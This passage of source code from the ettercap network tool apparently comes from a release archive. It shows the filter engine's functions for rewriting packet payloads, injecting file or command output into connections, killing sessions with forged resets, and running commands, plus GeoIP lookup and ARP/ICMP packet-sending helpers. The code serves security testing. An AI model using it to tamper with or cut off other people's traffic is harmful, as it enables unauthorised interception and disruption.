*/ for ( ; t < r; t++) replaced[slen++] = po->DATA.data[t]; } /* anything else either has no special meaning or is escaped, * so we just copy it */ else { replaced[slen++] = q[i]; escaped = 0; } } /* calculate the delta */ int delta = (ovec[0]-ovec[1])+slen; /* check if we are overflowing pcap buffer */ BUG_IF(po->DATA.data < po->packet); BUG_IF((u_int16)(EC_GBL_PCAP->snaplen - (po->DATA.data - po->packet)) <= po->DATA.len+delta); /* if the substitution string has a different length than the * matched original string, we have to move around some data */ int size_left = po->DATA.len - ovec[0] - slen; int data_left = po->DATA.len - ovec[1]; DEBUG_MSG("func_pcre: match from %d to %d, substitution length is %d\n", ovec[0], ovec[1], slen); DEBUG_MSG("func_pcre: packet size changed by %d bytes\n", delta); if (delta != 0) { /* copy everything behind the matched string to the new position */ memcpy(po->DATA.data+ovec[0]+slen, po->DATA.data + ovec[1], size_left < data_left ? size_left : data_left); } /* copy the modified buffer on the original packet */ memcpy(po->DATA.data+ovec[0], replaced, slen); po->DATA.delta += delta; po->DATA.len += delta; SAFE_FREE(replaced); } break; case 6: /* search in the decoded one */ if ( pcre_exec(fop->op.func.ropt->pregex, fop->op.func.ropt->preg_extra, po->DATA.disp_data, po->DATA.disp_len, 0, 0, NULL, 0) < 0) return -E_NOTFOUND; break; default: JIT_FAULT("unsupported pcre_regex level [%d]", fop->op.func.level); break; } return E_SUCCESS; #endif } /* * replace a string in the packet object DATA.data */ static int func_replace(struct filter_op *fop, struct packet_object *po) { u_int8 *ptr; u_int8 *end; size_t len; size_t slen = fop->op.func.slen; size_t rlen = fop->op.func.rlen; /* check the offensiveness */ if (EC_GBL_OPTIONS->unoffensive) JIT_FAULT("Cannot modify packets in unoffensive mode"); /* check if it exist at least one */ if (!memmem(po->DATA.data, po->DATA.len, fop->op.func.string, fop->op.func.slen) ) return -E_NOTFOUND; DEBUG_MSG("filter engine: func_replace"); /* * XXX BIG WARNING: * maxlen is EC_GBL_PCAP->snaplen, but we can't * rely on this forever... */ /* take the beginning and the end of the data */ ptr = po->DATA.data; end = ptr + po->DATA.len; /* do the replacement */ do { /* the len of the buffer to be analized */ len = end - ptr; /* search the string */ ptr = memmem(ptr, len, fop->op.func.string, slen); /* string no found, exit */ if (ptr == NULL) break; /* update the len */ len = end - ptr - slen; /* set the delta */ po->DATA.delta += rlen - slen; po->DATA.len += rlen - slen; /* check if we are overflowing pcap buffer */ BUG_IF(po->DATA.data < po->packet); BUG_IF((u_int16)(EC_GBL_PCAP->snaplen - (po->DATA.data - po->packet)) <= po->DATA.len); /* move the buffer to make room for the replacement string */ memmove(ptr + rlen, ptr + slen, len); /* copy the replacemente string */ memcpy(ptr, fop->op.func.replace, rlen); /* move the ptr after the replaced string */ ptr += rlen; /* adjust the new buffer end */ end += rlen - slen; /* mark the packet as modified */ po->flags |= PO_MODIFIED; } while(ptr != NULL && ptr < end); return E_SUCCESS; } /* * inject a file into the communication */ static int func_inject(struct filter_op *fop, struct packet_object *po) { int fd; void *file; size_t size, ret; /* check the offensiveness */ if (EC_GBL_OPTIONS->unoffensive) JIT_FAULT("Cannot inject packets in unoffensive mode"); DEBUG_MSG("filter engine: func_inject %s", fop->op.func.string); /* open the file */ if ((fd = open((const char*)fop->op.func.string, O_RDONLY | O_BINARY)) == -1) { USER_MSG("filter engine: inject(): File not found (%s)\n", fop->op.func.string); return -E_FATAL; } /* get the size */ size = lseek(fd, 0, SEEK_END); /* load the file in memory */ SAFE_CALLOC(file, size, sizeof(char)); /* rewind the pointer */ lseek(fd, 0, SEEK_SET); ret = read(fd, file, size); close(fd); if (ret != size) FATAL_MSG("Cannot read the file into memory"); /* check if we are overflowing pcap buffer */ if(EC_GBL_PCAP->snaplen - (po->L4.header - (po->packet + po->L2.len) + po->L4.len) <= po->DATA.len + (unsigned)size) JIT_FAULT("injected file too long"); /* copy the file into the buffer */ memcpy(po->DATA.data + po->DATA.len, file, size); /* Adjust packet len and delta */ po->DATA.delta += size; po->DATA.len += size; /* mark the packet as modified */ po->flags |= PO_MODIFIED; /* unset the flag to be dropped */ if (po->flags & PO_DROPPED) po->flags ^= PO_DROPPED; /* close and unmap the file */ SAFE_FREE(file); return E_SUCCESS; } /* * inject output of a executable into the communication */ static int func_execinject(struct filter_op *fop, struct packet_object *po) { FILE *pstream = NULL; unsigned char *output = NULL; size_t n = 0, offset = 0, size = 128; unsigned char buf[size]; /* check the offensiveness */ if (EC_GBL_OPTIONS->unoffensive) JIT_FAULT("Cannot inject packets in unoffensive mode"); DEBUG_MSG("filter engine: func_execinject %s", fop->op.func.string); /* open the pipe */ if ((pstream = popen((const char*)fop->op.func.string, "r")) == NULL) { USER_MSG("filter engine: execinject(): Command not found (%s)\n", fop->op.func.string); return -E_FATAL; } while ((n = read(fileno(pstream), buf, size)) != 0) { if (output == NULL) { SAFE_CALLOC(output, offset+n, sizeof(unsigned char)); } else { SAFE_REALLOC(output, sizeof(unsigned char)*(offset+n)); } memcpy(output+offset, buf, n); offset += n; } /* close pipe stream */ pclose(pstream); /* check if we are overflowing pcap buffer */ if(EC_GBL_PCAP->snaplen - (po->L4.header - (po->packet + po->L2.len) + po->L4.len) <= po->DATA.len + (unsigned)offset) JIT_FAULT("injected output too long"); /* copy the output into the buffer */ memcpy(po->DATA.data + po->DATA.len, output, offset); /* Adjust packet len and delta */ po->DATA.delta += offset; po->DATA.len += offset; /* mark the packet as modified */ po->flags |= PO_MODIFIED; /* unset the flag to be dropped */ if (po->flags & PO_DROPPED) po->flags ^= PO_DROPPED; /* free memory */ SAFE_FREE(output); return E_SUCCESS; } /* * log the packet to a file */ static int func_log(struct filter_op *fop, struct packet_object *po) { int fd; DEBUG_MSG("filter engine: func_log"); /* open the file */ fd = open((const char*)fop->op.func.string, O_CREAT | O_APPEND | O_RDWR | O_BINARY, 0600); if (fd == -1) { USER_MSG("filter engine: Cannot open file %s\n", fop->op.func.string); return -E_FATAL; } /* which data should I have to log ? */ switch(fop->op.func.level) { case 5: if (write(fd, po->DATA.data, po->DATA.len) < 0) USER_MSG("filter engine: Cannot write to file...%d\n", errno); break; case 6: if (write(fd, po->DATA.disp_data, po->DATA.disp_len) < 0) USER_MSG("filter engine: Cannot write to file...\n"); break; default: JIT_FAULT("unsupported log level [%d]", fop->op.func.level); break; } /* close the file */ close(fd); return E_SUCCESS; } /* * drop the packet */ static int func_drop(struct packet_object *po) { DEBUG_MSG("filter engine: func_drop"); /* se the flag to be dropped */ po->flags |= PO_DROPPED; /* the delta is all the payload */ po->DATA.delta -= po->DATA.len; po->DATA.len = 0; return E_SUCCESS; } /* * kill the connection: * TCP: reset * UDP: icmp port unreachable */ static int func_kill(struct packet_object *po) { DEBUG_MSG("filter engine: func_kill"); if (po->L4.proto == NL_TYPE_TCP) { /* reset both sides */ /* * we can trust the ack number. * at least one side will be reset. the other is automatically reset */ send_tcp(&po->L3.src, &po->L3.dst, po->L4.src, po->L4.dst, po->L4.seq, 0, TH_RST, NULL, 0); send_tcp(&po->L3.dst, &po->L3.src, po->L4.dst, po->L4.src, po->L4.ack, 0, TH_RST, NULL, 0); } else if (po->L4.proto == NL_TYPE_UDP) { send_L3_icmp_unreach(po); } return E_SUCCESS; } /* * execute the given command */ static int func_exec(struct filter_op *fop) { pid_t pid; DEBUG_MSG("filter engine: func_exec: %s", fop->op.func.string); /* * the command must be executed by a child. * we are forwding packets, and we cannot wait * for the execution of the command */ pid = fork(); /* check if the fork was successfull */ if (pid == -1) SEMIFATAL_ERROR("filter engine: fork() failed, cannot execute %s", fop->op.func.string); /* differentiate between the parent and the child */ if (!pid) { int k, param_length; char **param = NULL; char *q = (char*)fop->op.func.string; char *p; int i = 0; /* split the string */ for (p = strsep(&q, " "); p != NULL; p = strsep(&q, " ")) { /* allocate the array */ SAFE_REALLOC(param, (i + 1) * sizeof(char *)); /* copy the tokens in the array */ param[i++] = strdup(p); } /* NULL terminate the array */ SAFE_REALLOC(param, (i + 1) * sizeof(char *)); param[i] = NULL; param_length= i + 1; //because there is a SAFE_REALLOC after the for. /* * close input, output and error. * we don't want to clobber the interface * with output from the child */ close(fileno(stdin)); close(fileno(stdout)); close(fileno(stderr)); /* execute the command */ execve(param[0], param, NULL); /* reached on errors */ for(k= 0; k < param_length; ++k) SAFE_FREE(param[k]); SAFE_FREE(param); _exit(-1); } return E_SUCCESS; } /* * functions for comparisons */ static int cmp_eq(u_int32 a, u_int32 b) { return (a == b); } static int cmp_neq(u_int32 a, u_int32 b) { return (a != b); } static int cmp_lt(u_int32 a, u_int32 b) { return (a < b); } static int cmp_gt(u_int32 a, u_int32 b) { return (a > b); } static int cmp_leq(u_int32 a, u_int32 b) { return (a <= b); } static int cmp_geq(u_int32 a, u_int32 b) { return (a >= b); } /* * load the filter from a file */ int filter_load_file(const char *filename, struct filter_list **list, uint8_t enabled) { int fd; void *file; size_t size, ret; struct filter_env *fenv; struct filter_header fh; DEBUG_MSG("filter_load_file (%s)", filename); /* open the file */ if ((fd = open(filename, O_RDONLY | O_BINARY)) == -1) FATAL_MSG("File not found or permission denied"); /* read the header */ if (read(fd, &fh, sizeof(struct filter_header)) != sizeof(struct filter_header)) FATAL_MSG("The file is corrupted"); /* sanity checks */ if (fh.magic != htons(EC_FILTER_MAGIC)) FATAL_MSG("Bad magic in filter file\n" "Make sure to compile the filter with a current version of etterfilter"); /* check pointer alignment */ if (fh.code % 8) FATAL_MSG("Bad instruction pointer alignment\n" "Make sure to compile the filter with a current version of etterfilter"); /* which version has compiled the filter ? */ if (strcmp(fh.version, EC_VERSION)) FATAL_MSG("Filter compiled for a different version"); /* get the size */ size = lseek(fd, 0, SEEK_END); /* load the file in memory */ SAFE_CALLOC(file, size, sizeof(char)); /* rewind the pointer */ lseek(fd, 0, SEEK_SET); ret = read(fd, file, size); close(fd); if (ret != size) FATAL_MSG("Cannot read the file into memory"); FILTERS_LOCK; /* advance to the end of the filter list */ while (*list) list = &(*list)->next; /* allocate memory for the list entry */ SAFE_CALLOC(*list, 1, sizeof(struct filter_list)); fenv = &(*list)->env; /* set the global variables */ fenv->map = file; fenv->chain = (struct filter_op *)(file + fh.code); fenv->len = size - sizeof(struct filter_header) - fh.code; /* * adjust all the string pointers * they must point to the data segment */ reconstruct_strings(fenv, &fh); /* save the name of the loaded filter */ (*list)->name = strdup(filename); /* enable the filter if requested */ (*list)->enabled = enabled; FILTERS_UNLOCK; /* compile the regex to speed up the matching */ if (compile_regex(fenv) != E_SUCCESS) return -E_FATAL; USER_MSG("Content filters loaded from %s...\n", filename); return E_SUCCESS; } /* * unload a filter list entry */ void filter_unload(struct filter_list **list) { if (*list == NULL) return; FILTERS_LOCK; struct filter_env *fenv= &(*list)->env; size_t i = 0; struct filter_op *fop = fenv->chain; DEBUG_MSG("filter_unload"); /* free the memory alloc'd for regex */ while (fop != NULL && i < (fenv->len / sizeof(struct filter_op)) ) { /* search for func regex and pcre */ if(fop[i].opcode == FOP_FUNC) { switch(fop[i].op.func.op) { case FFUNC_REGEX: regfree(fop[i].op.func.ropt->regex); SAFE_FREE(fop[i].op.func.ropt); break; case FFUNC_PCRE: #ifdef HAVE_PCRE pcre_free(fop[i].op.func.ropt->pregex); pcre_free(fop[i].op.func.ropt->preg_extra); SAFE_FREE(fop[i].op.func.ropt); #endif break; } } i++; } /* free the memory region containing the file */ SAFE_FREE(fenv->map); /* wipe the pointer */ fenv->map = NULL; fenv->chain = NULL; fenv->len = 0; SAFE_FREE((*list)->name); /* reclose the filter list */ struct filter_list **ptr = list; struct filter_list *succ = (*list)->next; *ptr = succ; SAFE_FREE(*list); FILTERS_UNLOCK; } void filter_clear(void) { FILTERS_LOCK; struct filter_list **l = EC_GBL_FILTERS; while (*l) { filter_unload(l); } FILTERS_UNLOCK; } /* * replace relative offset to real address in the strings fields */ static void reconstruct_strings(struct filter_env *fenv, struct filter_header *fh) { size_t i = 0; struct filter_op *fop = fenv->chain; /* parse all the instruction */ while (i < (fenv->len / sizeof(struct filter_op)) ) { /* * the real address for a string is the base of the mmap'd file * plus the base of the data segment plus the offset in the field */ switch(fop[i].opcode) { case FOP_FUNC: if (fop[i].op.func.slen) fop[i].op.func.string = (fenv->map + fh->data + (size_t)fop[i].op.func.string); if (fop[i].op.func.rlen) fop[i].op.func.replace = (fenv->map + fh->data + (size_t)fop[i].op.func.replace); break; case FOP_TEST: if (fop[i].op.test.slen) fop[i].op.test.string = (fenv->map + fh->data + (size_t)fop[i].op.test.string); break; case FOP_ASSIGN: if (fop[i].op.assign.slen) fop[i].op.assign.string = (fenv->map + fh->data + (size_t)fop[i].op.assign.string); break; } i++; } } /* * compile the regex of a filter_op */ static int compile_regex(struct filter_env *fenv) { size_t i = 0; struct filter_op *fop = fenv->chain; char errbuf[100]; int err; #ifdef HAVE_PCRE const char *perrbuf = NULL; #endif /* parse all the instruction */ while (i < (fenv->len / sizeof(struct filter_op)) ) { /* search for func regex and pcre */ if(fop[i].opcode == FOP_FUNC) { switch(fop[i].op.func.op) { case FFUNC_REGEX: /* alloc the structures */ SAFE_CALLOC(fop[i].op.func.ropt, 1, sizeof(struct regex_opt)); SAFE_CALLOC(fop[i].op.func.ropt->regex, 1, sizeof(regex_t)); /* prepare the regex */ err = regcomp(fop[i].op.func.ropt->regex, (const char*)fop[i].op.func.string, REG_EXTENDED | REG_NOSUB | REG_ICASE ); if (err) { regerror(err, fop[i].op.func.ropt->regex, errbuf, sizeof(errbuf)); FATAL_MSG("filter engine: %s", errbuf); } break; case FFUNC_PCRE: #ifdef HAVE_PCRE /* alloc the structure */ SAFE_CALLOC(fop[i].op.func.ropt, 1, sizeof(struct regex_opt)); /* prepare the regex (with default option) */ fop[i].op.func.ropt->pregex = pcre_compile(fop[i].op.func.string, 0, &perrbuf, &err, NULL ); if (fop[i].op.func.ropt->pregex == NULL) FATAL_MSG("filter engine: %s\n", perrbuf); /* optimize the pcre */ fop[i].op.func.ropt->preg_extra = pcre_study(fop[i].op.func.ropt->pregex, 0, &perrbuf); if (perrbuf != NULL) FATAL_MSG("filter engine: %s\n", perrbuf); #endif break; } } i++; } return E_SUCCESS; } /* * Walk the list of loaded filters and call the callback function * for every single list item along with the argument passed. * The callback function can stop the list from being traversed * any further by returning a false value. */ void filter_walk_list( int(*cb)(struct filter_list*, void*), void *arg) { struct filter_list **l; FILTERS_LOCK; for (l = EC_GBL_FILTERS; *l != NULL; l = &(*l)->next) { /* do not traverse the list any further if the callback tells us so */ if (!cb(*l, arg)) break; } FILTERS_UNLOCK; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_geoip.c0000644000175000017500000001215313505247364015703 0ustar koeppeakoeppea/* ettercap -- GeoIP interface; IPv4/6 address to geolocation lookup. Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #ifdef HAVE_GEOIP #include static GeoIP *gi = NULL; #ifdef WITH_IPV6 static GeoIP *gi6 = NULL; #endif static void geoip_exit (void) { GeoIP_delete (gi); gi = NULL; #ifdef WITH_IPV6 GeoIP_delete(gi6); gi6 = NULL; #endif GeoIP_cleanup(); } void geoip_init (void) { char *gi_info; /* try to find and open it in the default location */ gi = GeoIP_open_type(GEOIP_COUNTRY_EDITION, GEOIP_MEMORY_CACHE); /* not found, fallback in the configuration file value */ if(!gi) { if (!EC_GBL_CONF->geoip_data_file) return; gi = GeoIP_open (EC_GBL_CONF->geoip_data_file, GEOIP_MEMORY_CACHE); if (!gi) { DEBUG_MSG ("geoip_init: %s not found.", EC_GBL_CONF->geoip_data_file); GeoIP_cleanup(); return; } } gi_info = GeoIP_database_info (gi); DEBUG_MSG ("geoip_init: Description: %s.", GeoIPDBDescription[GEOIP_COUNTRY_EDITION]); DEBUG_MSG ("geoip_init: Info: %s. Countries: %u", gi_info ? gi_info : "", GeoIP_num_countries()); atexit (geoip_exit); SAFE_FREE(gi_info); gi_info = NULL; #ifdef WITH_IPV6 /* try to find and open it in the default location */ gi6 = GeoIP_open_type(GEOIP_COUNTRY_EDITION_V6, GEOIP_MEMORY_CACHE); /* not found, fallback in the configuration file value */ if (!gi6) { if (!EC_GBL_CONF->geoip_data_file_v6) return; gi6 = GeoIP_open(EC_GBL_CONF->geoip_data_file_v6, GEOIP_MEMORY_CACHE); if (!gi6) { DEBUG_MSG("geoip_init: %s not found.\n", EC_GBL_CONF->geoip_data_file_v6); return; } } gi_info = GeoIP_database_info(gi6); DEBUG_MSG("geoip_init: Description: %s.", GeoIPDBDescription[GEOIP_COUNTRY_EDITION_V6]); DEBUG_MSG("geoip_init: Info: %s. Countries: %u", gi_info ? gi_info : "", GeoIP_num_countries()); SAFE_FREE(gi_info); gi_info = NULL; #endif } /* * returns the country code string for a given IP address ... * - the two letter country code from GeoIP database * - "00" if ip address is the default or undefined address * - "--" if ip address is not global * return NULL if GeoIP API isn't initialized properly */ const char* geoip_ccode_by_ip (struct ip_addr *ip) { int id; #ifdef WITH_IPV6 struct in6_addr geo_ip6; #endif char tmp[MAX_ASCII_ADDR_LEN]; /* 0.0.0.0 or :: */ if (ip_addr_is_zero(ip)) { return "00"; } /* only global IP addresses can have a location */ if (!ip_addr_is_global(ip)) { return "--"; } /* Determine country id by IP address */ switch (ntohs(ip->addr_type)) { case AF_INET: if (!gi) return NULL; id = GeoIP_id_by_ipnum(gi, ntohl(*ip->addr32)); break; #ifdef WITH_IPV6 case AF_INET6: if (!gi6) return NULL; ip_addr_cpy((u_char *)geo_ip6.s6_addr, ip); id = GeoIP_id_by_ipnum_v6(gi6, geo_ip6); break; #endif default: return NULL; } DEBUG_MSG("geoip_ccode_by_ip: GeoIP country code for ip %s: %s", ip_addr_ntoa(ip, tmp), GeoIP_code_by_id(id)); return GeoIP_code_by_id(id); } /* * returns the country name string for a given IP address * return NULL if GeoIP API isn't initialized properly */ const char* geoip_country_by_ip (struct ip_addr *ip) { int id; #ifdef WITH_IPV6 struct in6_addr geo_ip6; #endif char tmp[MAX_ASCII_ADDR_LEN]; /* 0.0.0.0 or :: */ if (ip_addr_is_zero(ip)) { return "No unique location"; } /* only global IP addresses can have a location */ if (!ip_addr_is_global(ip)) { return "No unique location"; } /* Determine country id by IP address */ switch (ntohs(ip->addr_type)) { case AF_INET: if (!gi) return NULL; id = GeoIP_id_by_ipnum(gi, ntohl(*ip->addr32)); break; #ifdef WITH_IPV6 case AF_INET6: if (!gi6) return NULL; ip_addr_cpy((u_char *)geo_ip6.s6_addr, ip); id = GeoIP_id_by_ipnum_v6(gi6, geo_ip6); break; #endif default: return NULL; } DEBUG_MSG("geoip_country_by_ip: GeoIP country name for ip %s: %s", ip_addr_ntoa(ip, tmp), GeoIP_name_by_id(id)); return GeoIP_name_by_id(id); } #endif /* HAVE_GEOIP */ ettercap-0.8.3/src/ec_send.c0000644000175000017500000016047613505247364015545 0ustar koeppeakoeppea/* ettercap -- send the the wire functions Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #if defined(OS_DARWIN) || defined(OS_BSD) #include #endif #include #include #include #include #include #include #define PCAP_TIMEOUT 10 /* globals */ u_int8 MEDIA_BROADCAST[MEDIA_ADDR_LEN] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; u_int8 ARP_BROADCAST[MEDIA_ADDR_LEN] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; static SLIST_HEAD (, build_entry) builders_table; struct build_entry { u_int8 dlt; FUNC_BUILDER_PTR(builder); SLIST_ENTRY (build_entry) next; }; /* protos */ libnet_ptag_t ec_build_link_layer(u_int8 dlt, u_int8 *dst, u_int16 proto, libnet_t* l); static pthread_mutex_t send_mutex = PTHREAD_MUTEX_INITIALIZER; #define SEND_LOCK do{ pthread_mutex_lock(&send_mutex); } while(0) #define SEND_UNLOCK do{ pthread_mutex_unlock(&send_mutex); } while(0) /*******************************************/ /* * send the packet at layer 3 * the eth header will be handled by the kernel */ int send_to_L3(struct packet_object *po) { libnet_ptag_t t; libnet_t *l; char tmp[MAX_ASCII_ADDR_LEN]; int c; switch(ntohs(po->L3.src.addr_type)) { case AF_INET: l = EC_GBL_LNET->lnet_IP4; break; #ifdef WITH_IPV6 case AF_INET6: l = EC_GBL_LNET->lnet_IP6; break; #endif default: l = NULL; break; } /* Do not send the packet if corresponding * libnet handler is not initialized */ if(l == NULL) return -E_NOTHANDLED; SEND_LOCK; t = libnet_build_data(po->fwd_packet, po->fwd_len, l, 0); ON_ERROR(t, -1, "libnet_build_data: %s", libnet_geterror(l)); c = libnet_write(l); //ON_ERROR(c, -1, "libnet_write %d (%d): %s", po->fwd_len, c, libnet_geterror(l)); if (c == -1) USER_MSG("SEND L3 ERROR: %d byte packet (%04x:%02x) destined to %s was not forwarded (%s)\n", po->fwd_len, ntohs(po->L3.proto), po->L4.proto, ip_addr_ntoa(&po->L3.dst, tmp), libnet_geterror(l)); /* clear the pblock */ libnet_clear_packet(l); SEND_UNLOCK; return c; } /* * send the packet at layer 2 * this can be used to send ARP messages */ int send_to_L2(struct packet_object *po) { return send_to_iface(po, EC_GBL_IFACE); } /* * send the packet to the bridge */ int send_to_bridge(struct packet_object *po) { return send_to_iface(po, EC_GBL_BRIDGE); } int send_to_iface(struct packet_object *po, struct iface_env *iface) { libnet_ptag_t t; int c; libnet_t *l; if(iface->unoffensive) return -E_INVALID; /* if not lnet warn the developer ;) */ BUG_IF(iface->lnet == NULL); l = iface->lnet; SEND_LOCK; t = libnet_build_data(po->packet, po->len, l, 0); ON_ERROR(t, -1, "libnet_build_data: %s", libnet_geterror(l)); c = libnet_write(l); ON_ERROR(c, -1, "libnet_write %d (%d): %s", po->len, c, libnet_geterror(l)); /* clear the pblock */ libnet_clear_packet(l); SEND_UNLOCK; return c; } /* * we MUST not sniff packets sent by us at link layer. * expecially useful in bridged sniffing. * * so we have to find a solution... */ void capture_only_incoming(pcap_t *p, libnet_t *l) { (void)p; (void)l; #ifdef OS_LINUX /* * a dirty hack to use the same socket for pcap and libnet. * both the structures contains a "int fd" field representing the socket. * we can close the fd opened by libnet and use the one already in use by pcap. */ DEBUG_MSG("hack_pcap_lnet (before) pcap %d | lnet %d", pcap_fileno(p), l->fd); /* needed to avoid double execution (for portstealing) */ if (pcap_fileno(p) == l->fd) return; /* close the lnet socket */ close(libnet_getfd(l)); /* use the socket opened by pcap */ l->fd = pcap_fileno(p); DEBUG_MSG("hack_pcap_lnet (after) pcap %d | lnet %d", pcap_fileno(p), l->fd); #endif #ifdef OS_BSD /* * under BSD we cannot hack the fd as in linux... * pcap opens the /dev/bpf in O_RDONLY and lnet needs O_RDWR * * so (if supported: only FreeBSD) we can set the BIOCSSEESENT to 0 to * see only incoming packets * but this is unconfortable, because we will not able to sniff ourself. */ #ifdef OS_BSD_FREE int val = 0; DEBUG_MSG("hack_pcap_lnet: setting BIOCSSEESENT on pcap handler"); /* set it to 0 to capture only incoming traffic */ ioctl(pcap_fileno(p), BIOCSSEESENT, &val); #else DEBUG_MSG("hack_pcap_lnet: not applicable on this OS"); #endif #endif #ifdef OS_DARWIN int val = 0; DEBUG_MSG("hack_pcap_lnet: setting BIOCSSEESENT on pcap handler"); /* not all darwin versions support BIOCSSEESENT */ #ifdef BIOCSSEESENT ioctl(pcap_fileno(p), BIOCSSEESENT, &val); #endif #endif #ifdef OS_SOLARIS DEBUG_MSG("hack_pcap_lnet: not applicable on this OS"); #endif #ifdef OS_CYGWIN DEBUG_MSG("hack_pcap_lnet: not applicable on this OS"); #endif } /* * register a builder in the table * a builder is a function to create a link layer header. */ void add_builder(u_int8 dlt, FUNC_BUILDER_PTR(builder)) { struct build_entry *e; SAFE_CALLOC(e, 1, sizeof(struct build_entry)); e->dlt = dlt; e->builder = builder; SLIST_INSERT_HEAD(&builders_table, e, next); return; } /* * build the header calling the registered * function for the current media */ libnet_ptag_t ec_build_link_layer(u_int8 dlt, u_int8 *dst, u_int16 proto, libnet_t* l) { struct build_entry *e; SLIST_FOREACH (e, &builders_table, next) { if (e->dlt == dlt) { return e->builder(dst, proto, l); } } /* on error return -1 */ return -1; } /* * helper function to send out an ARP packet */ int send_arp(u_char type, struct ip_addr *sip, u_int8 *smac, struct ip_addr *tip, u_int8 *tmac) { libnet_ptag_t t; libnet_t *l; int c; /* if not lnet warn the developer ;) */ BUG_IF(EC_GBL_IFACE->lnet == NULL); l = EC_GBL_IFACE->lnet; SEND_LOCK; /* ARP uses 00:00:00:00:00:00 broadcast */ if (type == ARPOP_REQUEST && tmac == MEDIA_BROADCAST) tmac = ARP_BROADCAST; /* create the ARP header */ t = libnet_build_arp( ARPHRD_ETHER, /* hardware addr */ ETHERTYPE_IP, /* protocol addr */ MEDIA_ADDR_LEN, /* hardware addr size */ IP_ADDR_LEN, /* protocol addr size */ type, /* operation type */ smac, /* sender hardware addr */ (u_char *)&(sip->addr), /* sender protocol addr */ tmac, /* target hardware addr */ (u_char *)&(tip->addr), /* target protocol addr */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* pblock id */ ON_ERROR(t, -1, "libnet_build_arp: %s", libnet_geterror(l)); /* MEDIA uses ff:ff:ff:ff:ff:ff broadcast */ if (type == ARPOP_REQUEST && tmac == ARP_BROADCAST) tmac = MEDIA_BROADCAST; /* add the media header */ t = ec_build_link_layer(EC_GBL_PCAP->dlt, tmac, ETHERTYPE_ARP, l); if (t == -1) FATAL_ERROR("Interface not suitable for layer2 sending"); /* send the packet */ c = libnet_write(l); ON_ERROR(c, -1, "libnet_write (%d): %s", c, libnet_geterror(l)); /* clear the pblock */ libnet_clear_packet(l); SEND_UNLOCK; return c; } /* * helper function to send out an ICMP PORT UNREACH packet at layer 3 */ int send_L3_icmp_unreach(struct packet_object *po) { libnet_ptag_t t; int c; libnet_t *l; /* if not lnet warn the developer ;) */ BUG_IF(EC_GBL_LNET->lnet_IP4 == 0); l = EC_GBL_LNET->lnet_IP4; SEND_LOCK; /* create the ICMP header */ t = libnet_build_icmpv4_echo( 3, /* type */ 3, /* code */ 0, /* checksum */ htons(EC_MAGIC_16), /* identification number */ htons(EC_MAGIC_16), /* sequence number */ po->L3.header, /* payload */ po->L3.len + 8, /* payload size */ l, /* libnet handle */ 0); /* pblock id */ ON_ERROR(t, -1, "libnet_build_icmpv4_echo: %s", libnet_geterror(l)); /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); /* create the IP header */ t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H, /* length */ 0, /* TOS */ htons(EC_MAGIC_16), /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_ICMP, /* protocol */ 0, /* checksum */ *po->L3.dst.addr32, /* source IP */ *po->L3.src.addr32, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); ON_ERROR(t, -1, "libnet_build_ipv4: %s", libnet_geterror(l)); /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); /* send the packet to Layer 3 */ c = libnet_write(l); ON_ERROR(c, -1, "libnet_write (%d): %s", c, libnet_geterror(l)); /* clear the pblock */ libnet_clear_packet(l); SEND_UNLOCK; return c; } /* * helper function to send out an ICMP ECHO packet at layer 3 */ int send_L3_icmp(u_char type, struct ip_addr *sip, struct ip_addr *tip) { libnet_ptag_t t; int c; libnet_t *l; /* if not lnet warn the developer ;) */ BUG_IF(EC_GBL_LNET->lnet_IP4 == 0); l = EC_GBL_LNET->lnet_IP4; SEND_LOCK; /* create the ICMP header */ t = libnet_build_icmpv4_echo( type, /* type */ 0, /* code */ 0, /* checksum */ htons(EC_MAGIC_16), /* identification number */ htons(EC_MAGIC_16), /* sequence number */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* pblock id */ ON_ERROR(t, -1, "libnet_build_icmpv4_echo: %s", libnet_geterror(l)); /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); /* create the IP header */ t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H, /* length */ 0, /* TOS */ htons(EC_MAGIC_16), /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_ICMP, /* protocol */ 0, /* checksum */ *sip->addr32, /* source IP */ *tip->addr32, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); ON_ERROR(t, -1, "libnet_build_ipv4: %s", libnet_geterror(l)); /* auto calculate the checksum */ libnet_toggle_checksum(l, t, LIBNET_ON); /* send the packet to Layer 3 */ c = libnet_write(l); ON_ERROR(c, -1, "libnet_write (%d): %s", c, libnet_geterror(l)); /* clear the pblock */ libnet_clear_packet(l); SEND_UNLOCK; return c; } int send_L3_icmp_echo(struct ip_addr *src, struct ip_addr *tgt) { return send_L3_icmp(ICMP_ECHO, src, tgt); } /* * helper function to send out an ICMP ECHO packet at layer 2 */ int send_L2_icmp_echo(u_char type, struct ip_addr *sip, struct ip_addr *tip, u_int8 *tmac) { libnet_ptag_t t; int c; libnet_t 